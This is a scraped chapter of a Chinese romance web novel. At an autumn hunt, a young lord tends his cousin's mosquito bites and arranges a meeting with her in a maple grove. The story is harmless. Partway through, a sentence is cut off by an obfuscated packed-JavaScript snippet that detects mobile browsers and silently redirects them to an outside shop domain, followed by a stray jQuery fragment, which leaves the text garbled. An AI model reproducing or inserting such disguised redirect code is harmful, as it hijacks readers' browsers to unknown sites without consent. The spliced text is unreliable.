文趣网 > 其他小说 > 不胜娇 > 52. 第52章
    夜色中篝火通明。祭月大典在戌时末顺利结束。

    祭月大典之后,明日合围大猎会渐渐往深山,深山之中偶尔会与老虎、野熊等猛兽遭遇。一旦遇上,围猎会十分危险,但同时这也会成为历年秋猎中的重头戏。

    虞筝白日受了伤,没有参加晚上的祭典。祭典结束后,崔昀到虞筝帐中找她。

    虞筝不在。

    侍剑一直守在帐外。世子交代过,若表小姐有什么事便到祭典上寻世子。

    崔昀问他。侍剑却也不知道表小姐去了哪里,他明明一直守在帐外的。

    “你可曾离开过?”崔昀皱眉问。

    侍剑立马摇头,旋即一滞,迟疑一瞬又低声道:“中途只夫人来了一趟,嘱咐属下明日进山务必要保护好世子……属下就走开了几句话的工夫。”

    他甚至没有走远,就在离营帐不远的地方和夫人说话,回来也未见什么异常,表小姐怎么就不见了呢?

    侍剑努力回想:“表小姐何时出的营帐……属下怎么一点察觉也没有……”

    崔昀心下划过一丝极短促的异样,但他很快掠过,只对侍剑语气薄责:“是你分神。”

    “……属下知错。”侍剑立马认错,“属下这就去寻表小姐。”

    崔昀点头:“她应当只是嫌帐中闷,四下走走,不会走远的。”

    ……

    话是那么说,崔昀转头就亲自去寻。

    菱儿熬药的工夫,虞筝从猎场附近回来。离营帐不多远,碰到了寻她的崔昀。

    “表哥……”虞筝有些讶异。

    今日傍晚崔昀陪了她许久,在猎场他要伴驾,一向忙得很,晚上又有祭月仪典,她以为这么晚他不会再过来。

    虞筝掩下心虚,面上的惊讶显露的恰到好处,不多不少。

    崔昀目光稍凝,在她脚下沾上的些许松针和泥色上停顿了两眼,又默不作声地移开了视线。

    “又觉得闷了?”他只是这样问道。

    虞筝微愣,很快赧然地垂了垂眸,羞涩笑道:“今晚很热闹,帐子里太安静了,想出来看看。”

    崔昀往她身后空旷的原野看了一眼,没有探究,只是语气平和地说:“若觉得闷,跟表哥说便好,我带你参加仪典便是。只是仪典繁琐,除了最后的篝火会稍许自在,也没什么意趣,所以才叫你好好歇着,你本就受了伤。”

    “我知道表哥是为筝筝好。”虞筝乖顺,“我只是随便走了走,也没什么热闹可看了,这便回去。”

    崔昀点头,转身陪她往回走。

    “这么晚表哥还专程过来……我的伤真的不要紧的。”虞筝轻声道,目光悄悄瞟他。

    她步子很慢,步伐也不大,崔昀合着她的步子慢慢走:“我知道。不是来看你的伤,再怎么看,也不会今晚就能好。”

    虞筝眨眨眼:“那表哥……”

    “寻你有事。”

    崔昀没说是什么事,虞筝看了他一眼,没有追问。他在外面没有说,可能是不便。

    崔昀余光睇着她,从刚才开始到现在,她的手一直在动,一会儿在手臂上,一会儿在颈后。

    崔昀终于转过头看她:“怎么了?”

    他停步,捉过她的手看,营帐外走动的人多,虽然是晚上人少些,但也很容易被人看见,他却不避,侧身挡住她的肌肤,就这样捉着她的手、撩起她一点袖口查看。

    崔昀本来以为她是身上还有别的伤,一看才知道,她手腕上起了好几个红疹。

    崔昀皱眉,掩上袖口,又命她:“转头。”

    虞筝抿了抿唇,听话转头,露出后颈给他看——后颈上也有几个红疹。

    待崔昀收回紧蹙的视线,虞筝才小声,做错了事情一般交代道:“蚊子咬的。”

    崔昀知道。所以她刚才才一直在挠。

    “猎场蚊虫多,也是没法子的事。”崔昀无可奈何,“你若好好待在营帐里,就不会被咬了。”

    “照表哥这样说,那筝筝干脆不应该来猎场才对,就应该一直待在荣国公府、待在潇湘馆,哪里也不去。”

    她照样细声细语,说出的话却有些赌气。好像责怪他不安慰她,却反过来责备她。

    崔昀一时语塞,半刻低下去一截声气儿:“表哥说错了。”

    虞筝轻哼一声,低头把脸别向一旁,仍不说话。

    崔昀更低声,牵过她的手,用略微粗粝的指腹替她揉搓发痒之处:“别挠了,越挠越痒,待会儿回去让丫鬟给你抹些消肿止痒的膏药。”

    虞筝感受着手腕上他的动作,这才把头转回来一点,低低“嗯”了一声。

    崔昀:“是表哥说错了。蚊虫扰人,错在蚊虫,不在筝筝。”

    虞筝低头两息,这才肯抬起脸来,轻轻噘嘴:“表哥也整日在外面,白日还进了猎场内围,怎么蚊虫光咬我,不咬表哥?”

    这话有些孩子气,崔昀却认真思索了一下,但没有得出什么确凿的答案。

    他想了想,轻轻揉了揉她的手腕,低声:“许是蚊虫也长眼,筝筝太娇嫩,连蚊虫也知道挑筝筝的细皮嫩肉下口。”

    他说话的时候手上动作没停,说到“娇嫩”两个字,指腹在她肌肤上的动作慢了一瞬,连嗓音也略微滞涩,无端带出说不出的喑哑旖旎。

    虞筝喉头轻动,恍惚觉得手腕上被他揉的地方更痒了。

    ……

    回到营帐,虞筝依言让菱儿拿来止痒的药膏上药。

    崔昀还没走,便让菱儿退下,他亲自给她上了药。

    上完后颈的药,崔昀正要合上药膏,虞筝扯了扯他的衣袖:“表哥,后背也有……”

    “……”

    营帐里只有两人,秋凉寂静的夜,两人相视,帐中无端燥热。

    虞筝咬着唇,一双眸子秋水盈盈地看他,一瞬不瞬。

    不知道过去多久,崔昀再次滚下喉结,他垂眸,克制地合上药膏:“……别胡闹,安分些。”

    果真坐怀不乱。

    虞筝撇撇嘴,头一次对“正人君子”四个字有点厌烦。

    “表哥既要上药,哪有搁下一半不管的道理。”虞筝不满,不满的时候,声音仍是娇的。

    崔昀不再抬眸看她,只责想为何不能把耳朵也闭起来。

    他面上仍不改色道:“蚊虫怎么会咬到背上。”

    “睡觉的时候咬的呀。”

    “看来晚上睡觉不乖,会乱踢被子,以后得好好拗一拗你这习惯。”

    崔昀话音一落,帐中又安静下来。这回的安静更深,连两人的呼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796542|207164||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吸和动作也似乎凝固住。

    他的后半句不能深想,往深想,会出现此时此刻还不合时宜的画面——比如两个人躺在一张榻里,他要拗她踢被子习惯的画面。

    那是夫妻之间才应该有的画面。他们现在还不是夫妻。

    药膏终于合上,崔昀起身,终于在临走之前又看了她一眼——她的脸红红的,烛火在她脸上晃动,映在她眼底似曳动的湖光。

    崔昀后悔为何要一开始要帮她上药。

    “早些歇息。”他语气平静地嘱咐。

    视线却在她脸颊上的红晕停留至转身之前的一瞬,才克制收回,缓步离开营帐。

    ……

    夜晚。虞筝已经歇下。帐中昏暗。

    她睡眠很浅,加之刚刚睡下不久,帐中有人进来,她几乎是立刻察觉。

    黑暗中,她眸光森亮,寒芒如刀。待看清那道人影,她怔了怔,旋即假装出猝然惊醒,察觉有人进来惊慌失措的模样。

    “谁?!”

    “是我。筝筝,别怕。”崔昀的声音很轻,语速却很快。

    虞筝胸口起伏,佯装被安抚下来,半晌才语无伦次开口:“表、表哥……这么晚了,我都睡了,你怎……是有什么事吗……我……”

    她扯过被子,把自己捂得严严实实。

    崔昀:“……”

    崔昀并没有靠近榻边,也无意吓到她。

    崔昀:“我说寻你有事,方才上药时竟忘记同你说了。”

    那会儿一时气氛怪异,崔昀走的时候心神不定,竟将正事忘记了。

    “表哥你说吧……什么事?”

    “明日行猎,申时三刻到枫林等我。”

    “枫林……”虞筝快速在脑子里过了一遍地形,“申时三刻……”

    “怎么?”

    “……没什么……就是有些突然。表哥这么晚来,就为了说这个?明日再说也不迟。”

    “明日天不亮我便要准备好伴驾行猎,不得空闲。”

    “那表哥也可以让侍剑或者侍墨来说一声。”

    “不。”昏暗中,崔昀定声,他再次道,“明日枫林,申时三刻,不要忘了。此事至关重要,我只有亲口告诉你,听你答应,我方能放心。”

    “我答应表哥就是了。”

    “……好。”崔昀这才松下心神,语气也松缓下来。

    他忽然迈步,朝榻边走近。

    虞筝立时将被子捂得更紧:“表、表哥……”

    崔昀:“……”

    崔昀脚步稍慢:“捂什么?我不是蚊子,又不会咬你。”

    虞筝:“……”

    “但愿你夜里睡觉时,也能这样严严实实裹好被子。”

    “……表哥笑话我。”

    崔昀没回答,走近到榻边,黑暗中,将什么东西放在了虞筝的枕边。

    一股药草的气息慢慢弥散过来。

    崔昀低声:“驱蚊的药草,还算有些作用。”

    “表哥……”

    他还记着她说帐中有蚊虫的事,他不是不相信么?最后还是信她了。

    “早些歇息。”崔昀放下药囊便退开。

    没有多做停留,他很快离开营帐。帐中恢复安静,黑暗中他好像从没来过一样。